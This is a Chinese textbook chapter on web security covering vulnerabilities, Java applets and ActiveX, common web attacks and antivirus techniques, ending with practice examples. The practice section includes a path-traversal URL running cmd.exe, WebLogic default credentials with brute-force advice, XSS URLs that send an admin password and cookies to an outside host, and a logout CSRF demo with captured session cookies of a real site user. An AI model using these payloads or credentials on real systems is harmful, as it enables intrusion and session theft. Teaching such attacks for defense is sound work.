第八章 Web 安全
学习目标:
1. 了解Web安全漏洞
2. 了解Java applet和ActiveX
3. 了解常见的Web攻击方式
4. 了解杀毒软件的种类和原理
8.1 Web安全概述
说到因特网和基于Web的应用程序,在这个领域中存在着许多特殊的问题。首先,在传统的计算机环境中,故意破坏行为很少会造成威胁。而且一旦这些应用程序在因特网上广泛普及,人们面临的欺诈风险更高。我们使用因特网的原因是向最广泛的用户提供产品和服务。我们将这些服务安置在DMZ中,以使得那些访问这些服务器的用户无法直接访问其他内部服务器。在使用基于Web的应用程序时,其中一个令人头痛的问题是:为了让他们发挥作用,必须允许用户通过因特网访问他们,因此必须打开防火墙上与Web有关的端口(80和443)。于是,现在任何可以通过这些端口的攻击都有机可乘。
对因特网提供商而言,应用程序本身也带有某种神秘色彩。如果你希望通过因特网出售你的商品,通常你要显示它的图片,并允许买者通过电子邮件或即时聊天工具提出问题。通常,你还需要某种类似购物车的程序来收取客户的购买货款,别且还得处理运输和支付
渠道的问题。所有这些都得由一个只是想卖商品的人来处理。如果你是一个面包师,你可能并不是一个Web管理员,因此想在因特网上销售面包,必须向站点上传适当的应用程序。而这个应用程序可以利用PHP或者JAVA自己开发,从而可以自动化你的业务,但同时,如果你并没有掌握开发方法、开发流程、QA和变更控制,以及确定风险和安全漏洞等知识,这其中也包含着巨大的挑战和风险。
8.2 Web潜在的安全漏洞
开发自己的Web应用程序的另一种办法是使用一款线程的应用程序。网络上十多商业和免费应用程序几乎能满足每一种电子商务的需求。这些应用程序由许多实体以各种语言编写,那么现在我们面临的问题是,这些应用程序能满足安全的需求吗?在提供应有功能的同时会有安全漏洞吗?我们在了解了这些问题之后,尝试列出Web服务器所面临的最重大的弱点和威胁。
信息收集
信息收集(Information Collection)是攻击者实施攻击的第一步。攻击者可以利用收集到的信息推断出可用于攻击的系统。而攻击者收集到的大多数信息都来自公共可信任访问的资源。大型搜索引擎使得攻击者更容易收集到信息,因为它们汇集了大量信息;攻击者甚至不需要连接到目标公司的Web服务器,就可以从搜索引擎的缓存中返回结果。
多数被泄露的信息其实都是开发者和Web服务器管理员在工作时不小心泄露出去的。开发者写入的源代码、用于解释管理员保存在Web服务器上的程序或备份文件的注释并不是明显的安全问题,但是,如果他们被未授权用户看到,就可能包含数据库的物理路径、版本号等信息,他们可能是攻击者获得系统未授权访问的基础。
管理接口
大家都喜欢在咖啡厅或者家里工作,Web管理员和Web开发者尤其喜爱这种理念。虽然一些系统要求在本地终端上进行管理,但多数情况下,系统都有一个远程管理接口,甚至可通过网络进行管理。虽然对Web管理而言,这种管理方式可能非常方便,但它也为未授权用户访问系统提供了一个进入点。
自从我们讨论Web安全以来,使用一个基于Web的管理接口并不是安全的方法。如果我们已经确定安全漏洞并且接受风险,管理接口也应至少和Web应用程序同其他服务提供同一级别的安全。
许多商业软件和Web应用程序服务器默认安装了某种类型的管理控制台。而这种控制台可能会被用于信息收集。因此,如果不需要管理接口,应禁用这个接口。在开发定制应用程序时,管理接口就更不为人知,我们应该在安全策略中考虑这个因素。
认证与访问控制
访问控制我们在前面的章节中已经详细讨论过了,我们这里介绍其在Web安全中的重要性。如果你已经通过因特网登录银行、购物、注册或在家工作,我相信你通过了一个基于Web的应用程序进行登录。从客户和提供商双方的角度看,认证与访问控制都是一个明显的问题。客户想要访问控制提供给他们实体的安全性和隐蔽性,但是他们又期待这个过程非常简单。从服务提供商的角度看,他们希望在性能、合规性和成本许可的范围内,为客户提供尽可能可靠的安全。因此,大多数Web应用程序仍然需要使用传统的用户名和密码来实现访问控制。
在Web站点使用密码对用户名认证,可能与你最初使用因特网提供服务基于相同的原因:简易性(Accessibility)。如果访问你的站点的用户都属于合法用户,这种方法就没有问题。但是如果任何企图未授权访问你的站点的人都可以匿名尝试一下,那么就很有可能授权的用户和密码被试出来,被用于非法用途。
认为保存有敏感信息的系统是攻击者的目标,这种说法并不牵强。通过搜索引擎或简单的使用常见的用户名挖掘授权用户的用户名密码并尝试登陆这些站点非常普遍的。如果你需要在一个Web站点注册并下载“免费”的文件或文档,你会使用什么用户名呢?你会使用和其他站点一样的用户名吗?甚至和银行卡使用相同的密码?狡猾的攻击者可能会通过一些看似友好的站点比如网页游戏、抽奖活动,来挖掘用户资料。所以说,未经过培训、轻信的用户使组织最大的威胁。
配置管理
配置管理(Configuration Management)是对系统的配置进行管理。组织应确定默认账户及其密码、系统中的样本文件和管理接口,并定义Web环境中的安全基线。在系统投入使用前,还应对其进行核实,以确保它符合策略。
在现实世界的Web应用程序开发过程中,开发者建立一个模拟生产环境的“测试”环境,然后编写代码、测试应用程序功能,并提交审核,而不再经过其他测试就投入使用了。这个过程中存在这一个我们常犯的错误:接受测试环境并把它当成是生产环境。应用程序在测试环境中可能正常运行,但是其基准安全等级并不能达到要求。
搜索引擎非常善于分析Web页面,从中搜索链接,并跟随所有这些链接,然后对在整个过程中发现的内容进行分类。对那些使用因特网搜索引擎寻找文档、说明书或电影的
人而言,这是一个非常有用的功能。但是,黑客使用精心的搜索请求,能够轻松查明管理接口、说明配置错误的错误页面,甚至是你的Web站点中不想让公章查阅的区域。
要消除所有这些威胁,你必须定制一个明确的策略和规程。规程中应包括删除默认的配置,并及时应用供应商发布的安全补丁。另一个明智的做法是将一个应用程序由测试阶段投入使用时,检查系统的所有访问控制列表(ACL),确定采取了适当的安全措施,以使最原始的系统文件得到保护。最后,从系统中删除任何你不希望公众通过搜索引擎可以访问到的内容,这包括系统文档、内部文件、样本文件和默认的错误页面。
输入确认
Web服务器的作用是通过某种协议来处理用户的请求。协议是指在某种情况下必须遵守以确保安全通信的规则。如果一个人打开他的Web服务器并输入一个访问http://www.website.com/index.htm的请求,那么他正在使用超文本传输协议(Hypertext Transfer Protocol, HTTP)从www服务器的website.com命名空间请求index.htm文件。这种形式的请求叫做统一资源定位符(Uniform Resource Locator, URL),它与我们说话的方式非常接近,我们能够很容易地读懂它。这些请求作为输入确认(Input Validation)的部分工作,被计算机编码。然而事实上,有一些“狡猾”的请求可能避开编码的确认规则。
实例一
路径或目录遍历:这种攻击也叫“点-点-斜线”,因为它通过在URL中插入几个“../”字符,回溯或上溯到不应该通过Web访问的目录,从而实施攻击。命令提示符下的“../”命令告诉系统返回到前一个目录。如果一个Web服务器的默认目录是
“c:\\inetpub\\www”,则请求
http:/website.com/scripts/../../../../../windows/system32/cmd.exe?/c+dir+c:\\的URL将命令系统返回几个目录,知道进入驱动器的根目录,然后请求修改操作系统目录,并运行cmd.exe,列出C盘得全部内容。
实例二
URL编码:如果你善于观察,会发现在Web浏览器的URL中,“空格”以“%20”表示,实际上“%20”即表示空格,因为URL中禁止使用空格字符。就像使用Unicode字符的攻击一样,攻击者发现他们可通过一不同的方式表示字符,从而避开过滤并提出请求。
上述攻击都是基于对输入检测的漏洞,解决这些问题的办法在于过滤掉全部“已知的”恶意请求,未经确认、绝不相信来客户端的信息,并执行一个强大的策略,包括在所有应用程序中进行适当的参数检查等。
正是由于系统在各个层次存在着或多或少的漏洞,才为攻击者提供了攻击的可能。下图8-1是系统在各层提供的服务、设备,即漏洞可能存在的地方。
图8-1 计算机各个层次可能发生的攻击
8.3 移动代码
能够通过网络传送,并由另一端的一个系统或设备执行的代码叫做移动代码(Mobile Code)。有许多合理的原因允许使用移动代码,比如,可以在后台执行Web浏览器applet,为Web页面下载其他内容,如观看视频的插件。
当一个网站下载旨在实施恶意或侵犯行为的代码,特别是当接收者并不知道自己遭到侵犯时,就应提高警惕。如果一个网站遭到入侵,攻击者就可以把它当作一个平台,向任何访问和浏览这个网站的用户发动攻击。我们可以在Web浏览器上,把“安全设置”设定为“高”,或者禁用各种脚本和活动Web组件。移动代码的常见类型将在下面讨论。
8.3.1 Java applet
Java是一种面向对象的、与平台无关的编程语言。它作为一种完全成熟的编程语言,可以用于编写一种运行于用户浏览器上的称作applet的小程序。Java语言是平台无关的,
因为它建立的一种叫Bytecode的中间代码是与处理器无关的。然后,Java虚拟机(JVM)将Bytecode转换为客户端处理器可以识别的机器码,如图8-2所示。下面是Java的执行步骤。
图8-2 Java虚拟机将二进制代码编译成机器语言
1) 程序员穿件Java applet并在编译器上运行。
2) Java编译器将源代码转换为Bytecode。
3) 用户下载Java applet。
4) Java虚拟机将Bytecode转换为机器语言。
5) Applet在调用时运行。
Applet执行时,JVM将在一个叫做沙盒(Sandbox)的环境中建立一个虚拟机。这个虚拟机是一个封闭的环境,applet在其中执行操作。Appplet常常通过一个请求的Web页面传送,这表示applet一到达目的地就开始执行。它能够执行有意或无意的恶意行为。
为此,沙盒严格applet对任何系统资源的访问。JVM可调节对系统资源的访问,以确保applet代码“行为良好”,呆在它自己的沙盒里。这些组件如图8-3所示。
图8-3 Java安全模型
然而,在计算机的世界中还有其他因素,总是有破坏者试图逃避各种。程序员已经找出方法编写能够访问用户硬盘和系统资源的applet代码,而这些本来应该是受java安全框架保护的。这个applet在本质上就是恶意代码,可能会危害用户和用户的系统,如图8-4所示。
图8-4 Applet在沙盒中运行的安全情况
8.3.2 ActiveX
ActiveX 是一个开放的集成平台,为开发人员、 用户和 Web生产商提供了一个快速而简便的在因特网创建程序集成和内容的方法。 使用 ActiveX, 可轻松方便的在 Web页中插入多媒体效果、交互式对象、以及复杂程序。它由一组基于COM和DCOM的OOP技术和工具构成,是类似于Java的自足式程序。
ActiveX控件并不是试图将代码在安全的环境中进行各种计算和活动,而是通过告知用户程序的来源来提供安全性。用户可以决定是否信任程序来源。ActiveX技术提供安全级别和认证,使用户可以控制下载的ActiveX组件的安全性。与Java applet不同,当用户选择增加组件提供的功能时,ActiveX组件被下载到用户硬盘上。这意味着ActiveX拥有对用户系统更大的访问权限。
用户浏览器的安全级别设置可确定ActiveX控件是自动下载还是首先给用户警告提示。用户可以通过浏览器控制配置安全级别。当安全级别提高时,也就提高了浏览器对签
名或者未签名的组件或控件、ActiveX脚本的初始化的敏感程度。
Java和ActiveX安全的主要区别是Java为代码运行建立一个Sandbox,代码访问用户计算机系统上的资源。ActiveX使用依赖于数字签名和信任证书授权的认证代码技术。尽管两者都是很实用的技术,但都存在着内部的缺陷。Java不能保证所有代码都在沙盒中运行,容易引起applet本身的安全危害。ActiveX不必提供安全性,但是经常弹出警告框。因为用户不理解这种技术,也不了解其中的风险,所以只能不停地点击“是”,如图8-5所示。
图8-5 ActiveX安全设置警告
8.3.3 恶意代码
恶意代码(Malicious Code)是指会带来危险的代码,有以下几种类型:病毒(Virus)、蠕虫(Worm)、特洛伊木马(Trojan Horse)、逻辑(Logic Bomb)。它们通常处于休眠状态,直到用户或系统发起特定的事件激活它。恶意代码一般通过三种方法传播:软件漏洞、用户本身或者两者的混合。有些恶意代码是自启动的蠕虫和嵌入脚本,本身就是软件,这类恶意代码对人的活动没有要求。一些像特洛伊木马、电子邮件蠕虫等恶意代码,利用受害者的心理操纵他们执行不安全的代码;还有一些是哄骗用户关闭保护措施来安装
恶意代码。
恶意代码可以通过以下方法进行探测:
文件大小增加。
许多异常磁盘访问。
时间戳更新和修改。
硬盘空间莫名减少。
应用程序异常。
网络活动异常增加。
由于恶意代码严重影响了网络的使用和数据的安全,许多组织都在网络入口处实施了杀毒解决方案。扫描软件可以继承到邮件服务器代理服务器或防火墙中。这些软件扫描进入的流量,从中寻找恶意软件,以便将他们检测出来,组织他们进入网络。这些产品能够扫描SMTP、HTTP、FTP以及其他一些协议,但重要的是,我们应认识到,这些产品只能检查一两种协议,而不是所有进入的流量。因此,每一个服务器和工作站还应安装杀毒软件。
8.4几种常见的Web攻击
8.4.1 僵尸网络
“bot”(僵尸程序)是“robot”(遥控设备)的缩写,它是一段替它的操控者执行功能的代码。僵尸程序是一种恶意软件,它是一段休眠代码,也被称作僵尸。操控着可以随时通过它传送内容,可以是邮件、病毒、色情图片或攻击代码。通过僵尸程序传送这些内容的原因在于,僵尸程序有助于确保内容的原始发送方不会被定为和标识。
黑客一般通过以下步骤使用僵尸网络:
1) 送出以僵尸程序软件为负载的恶意代码。
2) 安装完毕后,僵尸程序登录到他的代码指定的IRC或Web服务器。然后,该服务器就能成为控制僵尸网络的服务器。
3) 一名垃圾邮件传播者付费给黑客,使用这些系统向控制服务器发送指令,从而让所有被感染的系统向邮件服务器发送垃圾邮件。
垃圾邮件传播者使用这种方法,是由于他们的邮件更可能通过邮件服务器的垃圾邮件过滤器,因为发送邮件的IP地址是那些被感染的系统的IP地址。因此,来源IP地址不断变化。这就是为什么你会不断收到开具和销售保健品的缘故。
僵尸网络的生命周期如图8-6所示。僵尸网络操控者与黑客合作,让他们编写并传播恶意软件,感染系统,使之成为僵尸网络的一部分。任何人如果想要告诉你他们想要卖给你产品、实施身份盗窃或攻击等,都会利用僵尸网络达到目的。
图8-6 创建、维护和使用僵尸网络的周期
8.4.2 网络蠕虫
蠕虫病毒是一种通过网络传播的恶性病毒,它除具有病毒的一些共性外,同时具有自己的一些特征,如不利用文件寄生(有的只存在于内存中),对网络造成拒绝服务,以及与黑客技术相结合等等。蠕虫病毒主要的破坏方式是大量的复制自身,然后在网络中传播,严重的占用有限的网络资源,最终引起整个网络的瘫痪,使用户不能通过网络进行正常的工作。每一次蠕虫病毒的爆发都会给全球经济造成巨大损失,因此它的危害性是十分巨大的;有一些蠕虫病毒还具有更改用户文件、将用户文件自动当附件转发的功能,更是严重的危害到用户的系统安全。
8.4.3 网站木马
“挂马” 就是黑客入侵了一些网站后,将自己编写的网页木马嵌入被黑网站的主页中,当访问者浏览被挂马页面时,将会被植入木马,黑客便可通过远程控制来实现不可告人的目的。网页木马就是将木马和网页结合在一起,打开网页的同时也会运行木马。最初的网页木马原理是利用IE浏览器的ActiveX控件,运行网页木马后会弹出一个控件下载提示,只有点击确认后才会运行其中的木马。这种网页木马在当时网络安全意识普遍不高的情况下还是有一点使用价值的,但是其缺点是显而易见的,就是会出现ActiveX控件下载提示。当然现在很少会有人去点击莫名其妙的ActiveX控件下载确认窗口。在这种情况下,新的网页木马诞生了。这类网页木马通常利用了IE浏览器的漏洞,在运行的时候没有丝毫提示,因此隐蔽性极高。
服务器被挂马,通常情况下,若出现诸如“弹出页面”,则可以比较容易发现,发现防病毒软件告警之类,则可以发现服务器被挂马;由于漏洞不断更新,挂马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大;正确的做法是经常性的检查服务器日志,发现异常信息;经常检查网站代码,借助于专业的检测工具来发现网页木马会大大提高工作效率和准确度。
8.4.4 跨站脚本
跨站脚本攻击(XSS)是攻击者将恶意脚本提交到网页中,使得原本安全的网页存在恶意脚本,或者是直接添加有恶意脚本的网页并诱使用户打开,用户访问网页后,恶意脚本就会将用户与网站的会话COOKIE及其它会话信息全部截留发送给攻击者,攻击者就可以利用用户的COOKIE正常访问网站。攻击者有时还会将这些恶意脚本以话题的方式提交到论坛中,诱使网站管理员打开这个话题,从而获得管理员权限,控制整个网站。跨站脚本漏洞主要是由于没有对所有用户的输入进行有效的验证所造成的,它影响所有的Web应用程序框架。
XSS攻击可以让黑客获得攻击任意一个访问受害网站页面的用户,虽然不直接危害网站的安全,但一方面影响网站声誉,另一方面如果网站管理者误访问恶意页面,也有权限泄漏的可能。如果确认网站被XSS攻击,首先要将黑客添加的恶意脚本清除,其次需要针对这些存在XSS漏洞的地方进行源码级修改或采用专业的安全硬件产品如入侵防御产品。
8.4.5 SQL注入
SQL注入就是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力。SQL注入利用的是正常的HTTP服务端口,表面上看来和正常的Web访问没有区别,隐蔽性极强,不易被发现。
SQL注入可以让黑客获得数据库权限,可以窃取密码,执行修改/增加/删除数据库表等操作。所以,如果网站被SQL注入攻击了,首先要依据日志查看是哪个用户的权限泄漏导致的数据库修改,并更换密码,同时依据日志检查存在注入点的页面,进行代码级的修复或采用专业的安全硬件产品如入侵防御产品。
8.4.6 Shellcode
Shellcode实际是一段代码(也可以是填充数据),可以用来发送到服务器,利用已存在的特定漏洞造成溢出,通称缓冲区溢出攻击中植入进程的代码。这段代码可以是导致常见的恶作剧目的的弹出一个消息框弹出,也可以用来删改重要文件、窃取数据、上传木马病毒并运行,甚至是出于破坏目的的格式化硬盘等等。
8.4.7 DOS/DDOS攻击
DoS即Denial Of Service,拒绝服务的缩写。DoS是指利用网络协议实现的缺陷来耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。
DDoS(Distributed Denial Of Service)又把DoS又向前发展了一大步,这种分布式拒绝服务攻击是黑客利用在已经侵入并已控制的不同的高带宽主机(可能是数百,甚至成千上万台)上安装大量的DoS服务程序,它们等待来自攻击控制中心的命令,攻击控制中心在适时启动全体受控主机的DoS服务进程,让它们对一个特定目标发送尽可能多的网络访问请求,形成一股DoS洪流冲击目标系统,猛烈的DoS攻击同一个网站。被攻击的目标网站会很快失去反应而不能及时处理正常的访问甚至系统瘫痪崩溃,如图8-7所示。
从目前现有的技术角度来讲,还没有一项解决办法针对DoS非常有效。所以,防止DoS攻击的最佳手段就是防患于未然。也就是说,首先要保证一般的外围主机和服务器的安全,使攻击者无法获得大量的无关主机,从而无法发动有效攻击。一旦单位内部的主机或临近网络的主机被黑客侵入,那么其他的主机被侵入的危险会变得很大。同时,如果网络内部或邻近的主机被用来对本机进行DoS攻击,攻击的效果会更明显。所以,必须保证这些外围主机和网络的安全。尤其是那些拥有高带宽和高性能服务器的网络,往往是黑客的首选目标。保护这些主机最好的办法就是及时了解有关本操作系统的安全漏洞以及相应的安全措施,及时安装补丁程序并注意定期升级系统软件,以免给黑客以可乘之机。另外,网管人员要加强对网络流量的管理,对网络资源的使用情况和带宽分配进行或控制,通过流量过滤产品进行限流,同时配合网络审计产品,可以对攻击进行审计和记录,溯源
的同时可用于事后取证,必要时向ISP进行举报。
8.4.8 网络钓鱼
网络钓鱼(Phishing,又名钓鱼法或钓鱼式攻击)是通过传播声称来自于银行或其他知名机构的欺骗信息,意图引诱受害者给出敏感信息(如用户名、口令、帐号 ID 、 ATM PIN 码或信用卡详细信息)的一种攻击方式。最典型的网络钓鱼攻击将受害者引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上,并获取受害者在此网站上输入的个人敏感信息,通常这个攻击过程不会让受害者警觉。它是“社会工程攻击”的一种形式。
、
图8-7 DDoS攻击形式
8.4.9 ARP攻击
ARP攻击的危害主要有两个方面,从ARP攻击的原理来看,这种攻击使得受害主机的所有网络数据都将通过攻击者进行转发,想要窃取信息或控制流量就变得轻而易举。另一方面,由于ARP缓存会不断刷新,有的时候,真正的网关会偶尔“清醒”,当真正的网关参与到数据包转发中来时,由于做了一个切换动作,可能会有频繁的短暂掉线现象。如果Web服务器所在网络中发生了ARP攻击,将导致Web服务器不可访问。
8.5 杀毒软件技术简介
传统的杀毒软件使用病毒码来检测恶意代码。病毒码是由杀毒软件供应商建立的一个指纹(Fingerprint),它是从病毒中提取出来的一个代码序列。就像我们的体内有标志和寻找某一类外来物质的抗体一样,杀毒软件包中有一个引擎,它使用这些病毒码来确定恶意软件。杀毒软件扫描通过特定协议的文件、电子邮件和其他数据,然后将它们与它的病毒码数据库进行比较。如果发现一个匹配的病毒码,杀毒软件将执行预先配置的行动,如隔离文件、试图清除文件(删除病毒)、向用户发送一个警报消息对话框等。比如我们可以用以下病毒码做测试,我们将这段代码放入文本文件中,如果系统中装有杀毒软件,就会做相应的处理。
病毒码:X5O!P%@AP[4\\PZX(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
如果系统中装有360,会弹出图8-8所示的对话框:
图8-8 360杀毒软件响应
基于病毒码的检测是检测恶意软件的一种有效手段,但它对新出现威胁的响应时间有所延迟。检测出一个病毒后,杀毒软件供应商必须研究这个病毒,开发并检测新的病毒码,发布该病毒码。但是由于新的病毒几乎每天都会出现,病毒码得检测方法不能作为查杀病毒的即时响应策略。
另一种病毒检测的技巧是“启发式检测”。这种方法会分析恶意代码的总体结构、评估编码指令和逻辑功能,并研究病毒或蠕虫内的数据类型。因此,这种方法通过收集和分析大量关于这段代码的信息,从而评估它是恶意代码的可能性。它有一个“可疑性计数器”,如果计数超过某个预先设定的上限,则判断它是恶意代码。
此外,还有基于虚拟机的动态反病毒技术。它类似于前面讲的沙盒技术,允许代码在受保护的环境中试运行。这允许杀毒软件动态检查可以代码,获得更多该代码的信息和属性,判定其是否为恶意代码。
审查一段代码有关信息的过程叫做静态分析,而允许一段代码在虚拟机中运行则称之
为动态分析。他们都是启发式的检测方法。
杀毒软件发展的下一阶段叫做行为阻止器。实施行为阻止的杀毒软件允许可疑代码在未受保护的操作系统中运行,监控它与操作系统的交互,被你更从中寻找可疑行为。杀毒软件将监视以下行为:
写入启动文件或注册表的Run关键字。
打开、删除或修改文件。
在电子邮件中插入脚本,发送可执行代码。
连接到网络共享文件或资源。
修改一个可执行文件的逻辑。
创建或修改宏和脚本。
格式化硬盘或写入引导区。
如果杀毒软件检测出这些潜在的恶意行为,他就可以终止该软件并向用户提示。然而这种方法需要监控每一个运行的程序,消耗大量的系统资源。
我们在预防某种疾病的时候会在感染前接种疫苗。在计算机的杀毒软件中存在一种叫做免疫程序的方法。拥有这种功能的产品看起来就像是一个已经被感染的文件、程序或磁盘。免疫程序将代码附加到文件或应用程序上,以此欺骗病毒,使它认为文件或应用程序
已被感染,从而病毒就不会重复感染(在第二章中提到过)。
多数杀毒软件供应商在软件中整合了以上技术,尽可能地提供更加安全的防护。各种防恶意软件的解决方案如下图8-9所示。
图8-9 杀毒软件采用的各种技术
8.6 Web安全实践
实例一 通过Google搜索寻找WebLogic
前面我们讲述了黑客可以通过搜索引擎,来进行漏洞的信息收集。我们把关键字定为\"WebLogic Server inurl:console\",URL后面是console结尾的,一般为WebLogic Serve管理后台入口,图8-10是Google的搜索结果。
图8-10 Google搜索结果
如果没有进入管理界面,我们可以采用在找到的目标URL后面加上console的方法,回车就会自动跳转到管理登录页面,如图8-11。 猜测一下管理界面的路径,如
login/LoginForm.jsp。 我们也可以采用爬行程序,下载网站目录,这样很容易判断出登录界面的具体位置。
图8-11 登录界面
采用下面几个步骤对上述搜索结果进行分析和破解。
1) 测试默认密码
默认的缺省密码有以下几组:
用户名密码均为:weblogic
用户名密码均为:system
用户名密码均为:portaladmin
用户名密码均为:guest
如果尝试完了都不能登录,可以交叉换用用户名和密码,比如用户名为weblogic,密码为system,这个可以自己灵活变通,当然也可以做个字典文件暴破。
2) 验证URL输入
Bea weblogic在Windows平台下的版本存在一个安全漏洞,攻击者可以在一个URL后面增加一些特殊的编码字符(例如%00,%2e,%2f或%5c),可能导致绕过缺省浏览文档(例如,index.html)的,从而得到web目录的内容列表。
例如我在下面输入图示8-12的URL:
图8-12 URL输入
结果如图8-13所示:
图8-13 跳转结果
直接跳转到了首页。说明网站没有对url输入做过滤。
3) 查看表单
查看客户端源文件的时候,图8-14所示的这个信息引起了我的注意:
图8-14 表单代码
传送用户名和密码的表单分别为j_uername和j_password。经过测试存在跨站脚本漏洞。
BEA WebLogic管理控制台登陆页面的j_username和j_password参数中存在跨站脚本漏洞,攻击者可以诱骗合法的Web应用程序向没有戒备的终端用户发送恶意代码,通常是通过创建嵌入了恶意脚本代码的超级链接。有效用户很可能会点击这个链接,因为它看起来好像指向可信任域中的资源。如果用户点击了这个链接的话就可以执行攻击者所提供的代码,导致窃取管理员的会话cookie,如图8-15所示。
图8-15导致管理员密码泄露的URL
类似下面给的语句成功的执行了。
窃取管理员口令:
http://dd/console/login/LoginForm.jsp?j_password=\"\"onBlur=\"window.open('http://xuanhun/'%2Bdocument.all.j_password.value)\"
窃取会话cookie:
http://dd/console/login/LoginForm.jsp?j_password=\"\"onBlur=\"window.open(
'http://xuanhun/'%2Bdocument.cookie)\"
实例二 跨站请求伪造
1) 简单效果
校内网目前俨然是中国第一大学生社交网站了,它的安全性也是从最初的一塌糊涂越变越好。客户端验证也从最初可以添加任意代码(html,css,script)到现在的只允许css,而且过滤了关键字,进行服务器端验证。使用校内的过程中真的学到了不少知识。偶尔在校内写写日志,难免会注意它的编辑器,界面如图8-16所示。
图8-16 校内某版本的编辑器
这就是编辑器的全部功能。它不允许查看源代码,当然这不是问题,因为我们知道日志的呈现结果必须是html代码的。随便找个在线编辑器就可以编辑了,然后把编辑后的内容贴过来就好了。不过校内做的还不错,对贴过来的内容也做了过滤,我试着添加script结果都在服务器端被过滤掉了。下面看我发的一篇日志吧:
\" 题目:四年回望
大一的我——不懂; 大二的我——懵懂; 大三的我——装懂; 大四的我——不懂。 (问题所在:图片) \" 校内来访问我日志的人,在想离开的时候发现跳到了这个登录页面,如图8-17所示:
图8-17 登陆界面
不明白的还纳闷?怎么退出来了?
2) 查看内幕
下面我们来简单分析下对这段简单的日志http请求的情况:
1. 对日志内容的第一次请求
GET /GetEntry.do?id=379593678&owner=201573034 HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap,
application/vnd.ms-xpsdocument, application/xaml+xml, */* Referer: http://blog.xiaonei.com/ Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NETCLR 2.0.50727; .NET CLR 3.0.04506.8; .NET CLR 3.5.21022) Accept-Encoding: gzip, deflate
Host: blog.xiaonei.com Connection: Keep-Alive Cookie:
__utma=204579609.347185043.1238318018.1240453421.1240456537.158; __utmz=204579609.1240405279.155.23.utmccn=(referral)|utmcsr=home.xiaonei.com|utmcct=/Home.do|utmcmd=referral; _de=8EAD38BFFD04FDBE;
id=201800742; mop_uniq_ckid=123.1.23.249_1238318098_149848619; _r01_=1; wpi_clew_cookie=exsit; headbulletincookie232023771=0; homeNtcInf=0; notifyTips201800742=1; xiaonei_stage=20; xiaonei_guide_uid=201573034; __utmb=204579609; depovince=LN; XNESSESSIONID=c9da0fa7aff8;
__utmc=204579609; userid=201573034; univid=26; gender=1; univyear=2005; societyguester=a2ac4d18338093affb56d55a2b96c90a4;
kl=b1f2731841d14040d19a6e3eda22a11a_201573034; hostid=201573034; jebecookies=201573034|1|1985-1-5|20|0|26_;
xn_app_histo_20157334=6-26302-3-20706-23446-20-9999-21461-8-179-17940-2
这一次请求返回了页面的基本html代码。
2. 紧接着根据第一次请求获得的html代码分析里面的元素,对src=”http://www.xiaonei.com/Logout.do” />做了请求,目的是下载图片。
GET /Logout.do HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap,
application/vnd.ms-xpsdocument, application/xaml+xml, */* Referer: http://blog.xiaonei.com/GetEntry.do?id=379593678&owner=201573034 Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.8; .NET CLR 3.5.21022) Accept-Encoding: gzip, deflate Host: www.xiaonei.com Connection: Keep-Alive Cookie:
__utma=204579609.347185043.1238318018.1240453421.1240456537.158; __utmz=204579609.1240405279.155.23.utmccn=(referral)|utmcsr=home.xiaonei.com|utmcct=/Home.do|utmcmd=referral; _de=8EAD38BFFD04FDBE;
id=201800742; mop_uniq_ckid=123.1.23.249_1238318098_149848619; _r01_=1; wpi_clew_cookie=exsit; headbulletincookie232023771=0; homeNtcInf=0; notifyTips201800742=1; xiaonei_stage=20; xiaonei_guide_uid=201573034; depovince=LN; XNESSESSIONID=c9da0fa7aff8; __utmc=204579609; userid=201573034; univid=26; gender=1; univyear=2005; societyguester=a2ac4d18338093affb56d55a2b96c90a4;
kl=b1f2731841d14040d19a6e3eda22a11a_201573034; hostid=201573034;
jebecookies=201573034|1|1985-1-5|20|0|26_;
xn_app_histo_20157334=6-26302-3-20706-23446-20-9999-21461-8-179-17940-2
3. 简要分析
其实迫使用户退出登录的原因在于那张图片。图片的url并没指向一个真正的图片而是“http://www.xiaonei.com/Logout.do”,这个链接会向校内网发出一个退出的请求。而这个请求是浏览器发出的,这是第一点。第二点,你很容易注意到浏览器发送任何请求的时候都带上了本地的cookie,这是用户退出成功的最基本条件。服务器会根据cookie判断用户的身份和状态。本例演示的就是最简单的请求伪造。
8.7 本章小结
本章主要从信息收集、管理接口、认证与访问控制、配置管理、输入确认等几个方面介绍了Web的安全漏洞及处理办法。随后介绍了目前Web中常用的移动代码技术,包括Java applet、ActiveX等,对每种技术进行了剖析,并分析其优缺点以及存在的安全缺陷。然后就Web中的几种常见的攻击比如蠕虫、挂马、SQL注入等进行了讨论,并提出了解决方案。随后介绍了如何通过杀毒软件保护Web安全。在本章的最后给出了Web攻击的实例,这些Web的入侵方法比较传统和经典,在目前的网络中已经基本杜绝,但因为其代表性,在这里还希望大家认真理解其原理。
8.8 练习题
1. 在认证与访问控制中,存在着什么样的矛盾?
2. 什么是Java applet?其采用何种安全手段?
3. 请列举几种常见的Web攻击,并简述其原理。
4. 杀毒软件普遍采用哪几种技术?请简述其技术原理。
因篇幅问题不能全部显示,请点此查看更多更全内容
Copyright © 2019- igat.cn 版权所有 赣ICP备2024042791号-1
违法及侵权请联系:TEL:199 1889 7713 E-MAIL:2724546146@qq.com
本站由北京市万商天勤律师事务所王兴未律师提供法律服务